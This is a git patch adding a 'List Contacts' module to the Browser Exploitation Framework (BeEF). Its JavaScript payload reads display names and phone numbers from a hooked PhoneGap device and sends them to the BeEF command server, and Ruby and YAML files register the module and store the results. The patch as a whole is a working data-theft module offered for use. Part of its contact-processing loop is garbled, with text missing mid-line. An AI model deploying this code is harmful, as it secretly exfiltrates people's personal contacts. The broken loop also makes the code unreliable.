From 1699d52475c5118286f2623bf24ec620e09fae2e Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 10:09:09 -0700 Subject: [PATCH] adding contact list --- .../phonegap_list_contacts/command.js | 39 +++++++++++++++++++ .../phonegap_list_contacts/config.yaml | 17 ++++++++ .../phonegap/phonegap_list_contacts/module.rb | 15 +++++++ 3 files changed, 71 insertions(+) create mode 100644 modules/phonegap/phonegap_list_contacts/command.js create mode 100644 modules/phonegap/phonegap_list_contacts/config.yaml create mode 100644 modules/phonegap/phonegap_list_contacts/module.rb diff --git a/modules/phonegap/phonegap_list_contacts/command.js b/modules/phonegap/phonegap_list_contacts/command.js new file mode 100644 index 000000000..533def2e4 --- /dev/null +++ b/modules/phonegap/phonegap_list_contacts/command.js @@ -0,0 +1,39 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +// phonegap_list_contacts +// +beef.execute(function() { + var result = ''; + + function onSuccess(contacts) { + + for (var i=0; i", <%= @command_id %>, 'result='+result ); + + }; + + function onError(contactError) { + result = 'fail'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + }; + + + var options = new ContactFindOptions(); + options.filter=""; + options.multiple=true; + var fields = ["displayName", "phoneNumbers"]; + + navigator.contacts.find(fields, onSuccess, onError, options); + +}); \ No newline at end of file diff --git a/modules/phonegap/phonegap_list_contacts/config.yaml b/modules/phonegap/phonegap_list_contacts/config.yaml new file mode 100644 index 000000000..7b4e28cff --- /dev/null +++ b/modules/phonegap/phonegap_list_contacts/config.yaml @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# phonegap +# +beef: + module: + phonegap_list_contacts: + enable: true + category: "Phonegap" + name: "List Contacts" + description: "Examine device contacts." + authors: ["staregate"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_list_contacts/module.rb b/modules/phonegap/phonegap_list_contacts/module.rb new file mode 100644 index 000000000..e892b491a --- /dev/null +++ b/modules/phonegap/phonegap_list_contacts/module.rb @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# // phonegap_list_contacts + +class Phonegap_list_contacts < BeEF::Core::Command + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + end +end